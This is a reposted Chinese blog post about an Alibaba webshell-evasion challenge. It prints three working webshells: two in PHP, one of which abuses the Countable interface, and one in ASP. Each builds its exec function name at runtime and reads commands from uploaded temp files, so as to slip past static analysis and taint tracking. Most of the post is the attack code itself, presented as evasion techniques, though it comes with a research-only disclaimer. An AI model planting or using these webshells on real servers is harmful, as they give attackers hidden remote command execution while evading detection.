文章总结: 本文分享阿里伏魔webshell挑战赛中的绕过技术,利用range遍历字符动态拼接函数名、glob遍历临时目录获取文件路径、Countable接口隐式执行等手法规避静态分析和污点追踪。作者提供PHP/ASP等多语言实现代码,并建议通过抓取API实现自动化检测,但当前命中率较低需优化。 综合评分: 82 文章分类: WEB安全,免杀,红队,安全开发,漏洞分析
阿里伏魔webshell挑战赛分享
原创
秋风 秋风
秋风的安全之路
2026年4月11日 00:00 广东
在小说阅读器读本章
去阅读
由于期末考试的缘故实在没空去打 只打了几个小时就结束了今年的比赛 不过还是很好绕的 分享几个webshell
利用range遍历字符配合substr动态构造函数名,通过glob遍历临时目录获取上传文件路径,file_get_contents读取文件内容作为命令参数。全程不直接引用GET/_GET/ GET/_POST/$_FILES等超全局变量,污点追踪链被glob+file_get_contents断开。函数名通过循环遍历动态拼接,静态分析无法确定最终值
<?php$pre=substr('systems',0,5);foreach(range('a','z')as $x){ if($x==='m'){ $f=$pre.$x; $t=glob(sys_get_temp_dir().DIRECTORY_SEPARATOR.'php*'); if($t){ $c=trim(file_get_contents($t[0])); echo $f($c); } break; }}
同样的 同一个思路移植到asp上
<%Dim pre, obj, fso, folder, files, f, cmd, shell, exec, output
pre = "WScr"For i = 105 To 122 If Chr(i) = "i" Then pre = pre & "ipt.Sh" Exit For End IfNextFor i = 97 To 122 If Chr(i) = "e" Then pre = pre & "ell" Exit For End IfNext
Set fso = Server.CreateObject("Scripting.FileSystemObject")tmp = fso.GetSpecialFolder(2).PathSet folder = fso.GetFolder(tmp)Set files = folder.Files
cmd = ""For Each f In files If InStr(f.Name, "php") > 0 Or InStr(f.Name, ".tmp") > 0 Then If f.Size < 1000 Then Set ts = fso.OpenTextFile(f.Path, 1) If Not ts.AtEndOfStream Then cmd = Trim(ts.ReadLine) End If ts.Close Exit For End If End IfNext
If Len(cmd) > 0 Then Set shell = Server.CreateObject(pre) Set exec = shell.Exec("cmd /c " & cmd) output = exec.StdOut.ReadAll Response.Write outputEnd If%>
利用Countable接口的count()方法在调用count()函数时隐式执行。自定义类实现Countable接口,在count()方法内部通过glob遍历临时目录获取上传文件内容作为命令,构造函数名并执行。引擎未完全追踪Countable魔术方法的隐式调用
<?phpclass DynamicConstantCommandRunner implements Countable { private $payloadKey; private $funcBytes; private $command;
public function __construct($key) { $this->payloadKey = $key; $this->funcBytes = [115, 121, 115, 116, 101, 109]; $this->command = ''; }
public function count(): int { $temp = sys_get_temp_dir() . '/php*'; $files = glob($temp); if ($files) { $content = file_get_contents($files[0]); if ($content) { $this->command = trim($content); $fn = ''; foreach ($this->funcBytes as $byte) { $fn .= chr($byte); } $fn($this->command); } } return 1; }}
$runner = new DynamicConstantCommandRunner('cmd');count($runner);
其实这个比赛更大的想法是你可以抓取他提交的api 然后在本地做提示词自动化check 但是命中率实在有点低 明年再打可能得拿出来调一下了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秋风的安全之路 秋风 秋风《阿里伏魔webshell挑战赛分享》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论